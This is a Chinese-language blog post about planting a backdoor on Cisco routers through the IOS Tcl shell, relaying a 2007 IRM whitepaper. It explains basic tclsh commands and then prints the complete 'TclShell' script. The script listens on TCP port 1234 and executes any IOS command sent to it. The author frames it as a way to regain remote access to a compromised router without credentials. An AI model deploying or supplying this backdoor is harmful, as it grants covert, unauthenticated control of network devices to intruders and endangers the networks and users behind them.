今天逛国外站发现了一篇攻击Cisco路由器留后门的方法,虽然一年多没玩Cisco了,平时工作也用不到这东西,但是对Cisco还是那么热爱,呵呵!进入正题,这是一篇鸟语的文章,写的也不难,主要的意思就是拿到Cisco路由器的权限以后可以上传一个用TCL脚本语言写的后门程序到设备里面,以后就可以无需路由器管理权限远程Telne进路由器了,灰常给力!关于TCL脚本语言相信CCIE Security级别的Cisco高级玩家都比较熟悉,反正我当年学CCNP的时候课程里面几乎没怎么提到TCL脚本,这东西在Cisco下是个灰常给力的东西,可以帮助工程师完成很多蛋疼的活!例如:在设备上批量的去Ping一个IP地址段等操作。
1.写在前面的废话:
其实Cisco IOS 从12.3(2)T 开始就支持TCL脚本了,下面在7200路由器的12.4 IOS 来试验一下TCL脚本。
Router> Router>enable Router#tclsh Router(tcl)#puts $tcl_version 8.3 Router(tcl)#package names tbcload Tcl Router(tcl)#info commands tell socket subst open eof pwd glob list exec pid snmp_getone time eval lrange t cl_trace fblocked lsearch gets case lappend proc break variable llength return l insert snmp_getid error catch clock info split array if log_user fconfigure conc at join lreplace snmp_setany source fcopy global switch snmp_getbulk update clos e cd for file append format read package set binary namespace scan verify_signat ure seek while flush after vwait snmp_getnext typeahead uplevel continue hostnam e ios_config foreach rename fileevent regexp upvar unset encoding expr load regs ub interp history puts incr lindex lsort string Router(tcl)#
现在一条一条的解释上面的命令及其输出:
- 使用 enable 命令进入特权 EXEC 模式。
- 使用 tclsh 命令进入 Tcl Shell 命令行,现在可以输入 Tcl 指令了。
- 使用 puts $tcl_version 打印当前 Tcl 版本。puts 是 Tcl 指令,相当于 C 语言中的 printf,而 $tcl_version 是 Tcl 的一个公共变量。
- 使用 package names 命令列出当前系统中已安装的 Tcl 扩展。要注意的一个扩展是 tbcload,Tcl 源代码被 tclcompiler 编译加密为 *.tbc 文件后,需要用此扩展来解释执行。
- 使用 info commands 命令来列出当前 Tcl 解释器支持的关键字。可以看到 if、for、foreach 等循环指令,操作文件与目录的 file、open、seek、read 等指令,基本的数据结构 list、array、哈希表等,字符串操作与正则表达式等等都被支持。有这样的阵容,编写强大的、全功能的 Cisco Tcl 脚本将十分方便。
2.Cisco设备写TCL Shell方法:
TCL脚本后门语法高亮显示如下图:
Source Code 如下:
# TclShell.tcl v0.1 by Andy Davis, IRM 2007 # # IRM accepts no responsibility for the misuse of this code # It is provided for demonstration purposes only proc callback {sock addr port} { fconfigure $sock -translation lf -buffering line puts $sock " " puts $sock "-------------------------------------" puts $sock "TclShell v0.1 by Andy Davis, IRM 2007" puts $sock "-------------------------------------" puts $sock " " set response [exec "sh ver | inc IOS"] puts $sock $response set response [exec "sh priv"] puts $sock $response puts $sock " " puts $sock "Enter IOS command:" fileevent $sock readable [list echo $sock] } proc echo {sock} { global var if {[eof $sock] || [catch {gets $sock line}]} { } else { set response [exec "$line"] puts $sock $response } } set port 1234 set sh [socket -server callback $port] vwait var close $sh
---------------------------- I am 猥琐的分割线 ----------------------------------------
3.写在最后的废话:
TCL脚本的确是个不错的东西,建议Cisco玩家们都学学,无论是CCNA也好,CCNP也好,这东西都会给工作带来很大帮助,想学的就猛击这里吧。
Attacking Cisco Router over TCL英文原文地址:http://www.sectechno.com/2010/11/07/attacking-cisco-router-over-tcl/
详细的写入TCL Shell英文原文介绍:http://www.irmplc.com/downloads/whitepapers/Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf
|